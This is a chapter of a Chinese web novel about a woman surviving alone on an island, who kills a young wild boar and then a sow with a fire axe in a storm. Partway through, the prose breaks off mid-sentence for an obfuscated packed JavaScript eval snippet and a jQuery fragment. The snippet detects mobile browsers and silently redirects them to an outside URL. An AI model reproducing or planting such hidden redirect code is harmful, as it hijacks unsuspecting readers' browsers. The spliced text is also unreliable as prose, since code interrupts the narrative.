36.野猪入侵
作品:《荒岛独居二十年》 雨水顺着破口往里淌,地上泥水混着被踩乱的草叶,像是有什么东西硬生生闯了进来。
徐然心里猛地一紧,手下意识地攥紧了消防斧。
是谁?或者……是什么东西?
骤然,身后响起一阵窸窣的异响,雨幕之中,一个残影猛地窜了出来,脚步溅起泥点子,直直朝她扑来!
徐然猛地回撤一步,心一横,双手攥紧斧柄,抡圆了就砍下去!
“砰!”
斧刃狠狠砸在袭来的黑影上,沉闷的撞击声回荡在雨夜里,一股巨大的反震力顺着斧柄传来,震得她虎口发麻,胳膊差点脱力。
她连退两步,死死抓着斧柄,喘了一口气,这才看清被她砍中的东西——
一头小野猪!
黑乎乎的一团,湿漉漉的,皮毛贴在身上,看着瘦,脑袋却硬得要命。消防斧劈进去,斧刃深深嵌在额骨里,血顺着刃口滴下来,混进泥水里,洇开了一滩深色。
可它竟然还没倒,哼哼唧唧地挣扎了几下,四蹄扒拉着地,试图往前拱,野性还没断干净。
徐然心脏狂跳,猛地往后用力,想把消防斧拔出来,但野猪的头骨硬得吓人,斧刃像是嵌进了石头里,纹丝不动!
她攥着斧柄,手臂被反震得发麻,而野猪还在蹄子乱刨,嘴里喷着气,随时可能再扑上来。
不能拖,得彻底弄死它!
徐然咬牙,脚下一错,猛地抬膝,用尽全身力气,狠狠顶在斧柄尾端。
这一记膝撞带着她全身的力量,直接借助膝盖的冲击力,把消防斧更深地送了进去!
“噗嗤——”
斧刃彻底破开头骨,血从裂开的额骨里喷涌而出,可转瞬就被雨冲刷干净,顺着地面的泥水蜿蜒流走。
野猪浑身僵了一下,四肢抽搐了两下,蹄子踢翻了一摊泥水,眼里的光顿时暗了下去,轰然倒地。
徐然后退半步,胸口剧烈起伏,死死盯着野猪,手还紧攥着斧柄,心脏怦怦直跳。雨水太大了,眼前都看不清,抬手抹了把脸,刚擦掉的水又被新的雨点补上。混着地上的血水,带着一股腥甜味。
刚才那一下,要是没准头,她早就被带翻在地了。可现在,小野猪彻底不动了,斧子也终于能拔出来了。
她踩住尸体,双手用力一拽,斧刃顺着破开的伤口抽了出来,带出蓬浓稠的血,啪嗒啪嗒滴在泥地里。
还好,是只落单的小家伙。估计是被这场突如其来的暴雨冲散的。
可她不敢放松。
小野猪死在这,那母猪呢?
雨幕浓得像帘子,远处的树林黑漆漆一片,枝叶在风雨里簌簌作响。
她抬脚把小野猪的尸体踢到旁边,泥水被带得四处飞溅。可她顾不上了,努力睁大眼睛,想看清远处的动静。
什么都看不清,雨太大了,黑乎乎的一片。
不敢松懈,攥紧了斧柄,掌心雨水混着汗水,滑腻腻的。
“……嗬嗬。”
细微的喘息声,被雨声盖住,若有若无地飘过来。
雨声太密,那声音细,却还是钻进了她耳朵里。
屏住呼吸,浑身汗毛都竖起来了。心跳刚平复没多久,又开始狂跳。
雨点砸在地上,砸在野猪僵硬的尸体上,也砸在她的肩膀上。天被乌云压得黑,只有远处偶尔闪过的电光,照亮一瞬间模糊的轮廓。
什么东西……在盯着她。
不是错觉。有什么东西,在靠近。
她靠着围栏,绷紧了肌肉,竖起耳朵,试图听清声音传来的方向。
风声,雨声,林子里的树叶哗啦啦地晃动,还有……
不远处,黑暗之中,隐约有个巨大的影子正伏在地上,似乎在嗅着空气里的血腥味,一点点地往这边靠近。
她连大气都不敢喘,身体肌肉绷紧摆出进攻姿态,下一秒。黑影猛地冲了出来,直直朝她扑过来!
借着闪电短暂的光亮,她看清了——
是母猪!
比小野猪大了足足三圈,浑身湿漉漉的,眼睛泛着层红光。獠牙比较小,不像公猪那么长。
她来不及细想,脚下一蹬,猛地侧身躲开!
母猪扑了个空,巨大的身躯狠狠撞在围栏上,木头瞬间裂开,碎片四处飞溅。
泥地太滑了,躲开的速度又太快,徐然摔在泥地里,眼看着母猪缓缓扭过头,鼻子里喷着白气,死死盯着她。
四周的风雨像被抽空了,只有母猪沉重的喘息声,在她耳边回响。
这头猪起码二百斤往上,徐然哪怕天天干活,身上长了些肌肉,也不过一百出头。硬拼?不可能。刚才那一下要是撞在她身上,怕是连内脏都得震碎。
而且,母猪的头骨比小野猪更厚,斧子根本砍不动。
最麻烦的是——她找不到脖子!
猪的脖子短粗,藏在身体下方,角度太刁钻,斧子根本砍不进去。她想要取母猪性命,得换个法子。
可她不能怕。
母猪再次猛冲过来,四蹄带起泥水,雨点噼里啪啦砸在它的皮毛上,眼里的红光越发骇人,獠牙泛着寒光,像两把锥子,直冲徐然的方向!
徐然猛地从地上爬起,拼命闪躲。
“砰!”
母猪撞上了内圈的围栏,第二下!木桩咔嚓折断,歪歪扭扭地塌了半截,母猪的脑袋晃了下,显然被自己接连的冲撞震得有些晕。
机会!
徐然本就蓄势待发,手里的斧柄握得死紧,此刻赶紧欺身向前,借着母猪晕头转向的间隙,狠狠劈下。
目标,脊椎。
消防斧破空而落,沉甸甸的力道狠狠砍进母猪后背。
斧刃嵌进皮肉,破开厚厚的猪皮,直直斩进脊椎!
母猪发出惊天动地的惨叫,四蹄猛蹬,泥水溅得满天都是。
徐然被震得虎口发麻,手臂刺痛,但她不敢松手,死死攥住斧柄,知道自己必须趁胜追击,否则就完了。
母猪惨叫连连,整个后背抽搐,四蹄扒拉着地面,想要挣脱。
大雨倾盆,雨水顺着额头流进眼睛,模糊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102407|159587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了视线,四周全是翻腾的泥水。她只能凭直觉,咬紧牙关,死死压住斧柄,不让母猪挣开。
可母猪的力量太大了。疯了一样地乱撞,庞大的身躯在泥地里拖拽,后腿开始不受控制地抽搐,每一下挣扎都让徐然险些被甩飞出去。
不能拖!她的体力撑不了太久!
徐然另只手猛地撑住母猪的背,一脚踩在围栏残骸上,借力往下一压,全身力气砸下来,硬生生把斧刃又往脊椎里送了一寸!
“噗!”
血从母猪的脊骨裂口喷出来,被雨水瞬间冲散,哀嚎震得人耳朵嗡嗡作响,前蹄瘫倒在地,可它还不甘心,喘着粗气,猛地扭过头,獠牙泛着寒光,狠狠朝徐然的方向咬过来!
徐然手酸的厉害,又怎么能躲?慢了一步,獠牙擦过她的胳膊,锋利的尖端划破皮肉,火辣辣的疼。
她闷哼一声,血顺着手臂往下滴,雨水一冲,伤口火烧火燎地疼。
可不能退!
眼前的母猪已经是强弩之末,只要再给它一击……她就赢了!
徐然不是练家子,能撑到现在,全凭手里那把消防斧、求生的意志,还有这片地形。但跟野猪硬拼,几乎是拿命换命,哪能毫发无损。
心里只有一个念头:弄死它,老娘要活。
强忍着全身的疲惫和刺痛,双手死死握住斧柄,狠狠一脚踩住母猪的脊背,咬牙用尽全身的力气,猛地拔出消防斧。
斧刃抽出的瞬间,血肉翻开,黏稠的液体溅了一手,母猪脊椎生生撕裂,喉咙里挤出声沉闷的哀鸣,四肢一软,倒在地上,没了动静。
徐然脑子充血上头,眼前发黑,根本顾不上确认野猪死透没死透,死命抡起消防斧,一下又一下往它背上剁,鲜血翻涌,肉都绞烂了。
哪怕彻底没动静了,她也没停下来。
直到最后,脑门的热度逐渐褪去,才猛地松开斧柄,跌坐在泥地里,大口大口地喘着气。
雨还在下,风灌进林子,雷声滚滚,可她耳朵里只剩自己的心跳,一下又一下,沉重而剧烈。
抬手胡乱抹了一把脸,雨水、血水、泥水糊了一手,浑身湿透,狼狈不堪。
但她活下来了。
雨衣早就破得不成样子,扯下来,随手甩到一边,浑浑噩噩地往石洞里走。脑子还有点清醒,知道自己不能再淋下去了,再泡一会儿,真得死。
走进洞里,脚下一个踉跄,勉强撑住墙才没摔。衣服湿透了,冰冷贴在身上,她烦躁地扯下来,一股脑丢到灶台上。今天一天,衣服都烘了两次,又湿又干,再湿再干,真是折腾。
脑子发涨,眼前直冒黑点,她知道是失血太多。救生毯在角落里,随手拿起来胡乱擦了一遍,把自己弄得勉强干点,然后用干净的水冲洗伤口。
水冲下去,带出血丝,顺着皮肉往下淌,混着泥巴点子和细沙。疼得直倒吸气,额头上冷汗渗出来。
泥巴和血冲下去,仔细一看,伤口里居然卡着几根木刺。估计是刚刚撞围栏的时候扎进去的,混着血肉,深深戳在皮里。